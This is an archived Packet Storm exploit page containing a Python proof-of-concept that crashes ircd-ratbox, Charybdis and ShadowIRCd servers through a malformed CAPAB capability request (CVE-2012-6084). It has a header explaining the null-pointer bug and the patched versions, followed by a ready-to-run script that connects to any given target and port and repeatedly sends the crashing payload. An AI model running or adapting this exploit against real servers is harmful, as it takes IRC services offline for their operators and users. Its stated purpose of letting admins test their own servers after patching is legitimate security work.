Lucene search

K
packetstormAph3xPACKETSTORM:119238
HistoryJan 04, 2013 - 12:00 a.m.

Ratbox IRCd Denial Of Service

2013-01-0400:00:00
Aph3x
packetstormsecurity.com
17

0.031 Low

EPSS

Percentile

90.0%

`#!/usr/bin/python3  
###################################################################################  
#  
# _ _ .__ .__   
# __| || |_| | ____ ____ |__| ____ ____   
# \ __ / | _/ __ \ / ___\| |/ _ \ / \   
# | || || |_\ ___// /_/ > ( <_> ) | \ http://www.zempirians.com  
# /_ ~~ _\____/\___ >___ /|__|\____/|___| /  
# |_||_| \/_____/ \/  
#  
# 00100011 01101100 01100101 01100111 01101001 01101111 01101110  
#  
# Provided by: UberLame, Aph3x, Apetrick, O_O  
#  
###################################################################################  
#  
# -=[ SHADOWIRCD 6.3.3 - Running vulnerable m_capab.c ] =-  
#  
# [P]roof [o]f [C]oncept, Null Point Reference, Denial of Service  
#  
#  
###################################################################################  
# -=[ EXPLOIT ]=-  
#  
# Now that a patch has been secured we are releasing a proof of concept to test your  
# ircd against this vulnerability. This exploit was designed to work against  
# Shadowircd 6.3.3 running the following vulnerable code:  
#  
# +VULNERABLE+  
# ../shadowircd/modules/m_capab.c - LINE(40)  
# {{mr_capab, 0}, mg_ignore, mg_ignore, mg_ignore, mg_ignore, mg_ignore}  
#  
# -=[ SUMMARY ]=-  
#  
# All versions of Charybdis are vulnerable to a remotely-triggered crash bug  
# caused by code originating from ircd-ratbox 2.0. (Incidentally, this means all  
# versions since ircd-ratbox 2.0 are also vulnerable.)  
#   
# The bug has to do with server capability negotiation. A malformed request will  
# trigger a crash due to invalid assumptions.  
#  
# -=[ PATCH ]=-  
#  
# January 1, 2013 - 12:55 PM GMT-6  
#   
# Charybdis 3.4.2, ShadowIRCd 6.3.3 and Ratbox 3.0.8 have been released with an  
# integrated patch to resolve this issue. All admins should upgrade immediately.  
#  
# -=[ REFERENCE ]=-  
#  
# http://www.cvedetails.com/cve/CVE-2012-6084/  
#  
###################################################################################  
# Ohai, I Can Has Moar Cycles? <33  
#  
# Eg: ./<file>.py -t <target> -p <port>  
###################################################################################  
  
from argparse import ArgumentParser  
import socket  
  
  
def own( uri, port ):  
sock = socket.socket()  
try:  
ret = sock.connect_ex(( uri, int( port ) ))  
except:  
print( "\t[-] Failed To Connect To {}".format( uri ) )  
exit()  
  
print( "\t[+] Connected, Sending Payload To {}:{}".format( uri, port ) )  
while True:  
try:  
sock.send(b"\x43\x41\x50\x41\x42\x20\x0d\x0a")  
except socket.error as se:  
print( '\t[!] Owned <3' )  
break  
  
sock.close()  
  
if __name__ == '__main__':  
parser = ArgumentParser( description='m_capab DOS PoC, We Can Has Moar Cycles?' )  
  
parser.add_argument( '-t', '--target', dest='target', default='localhost', help='IRCD Address To Target' )  
parser.add_argument( '-p', '--port', dest='port', default=6667, help='IRCD Port To Target' )  
  
args = parser.parse_args()  
  
own( args.target, args.port )  
`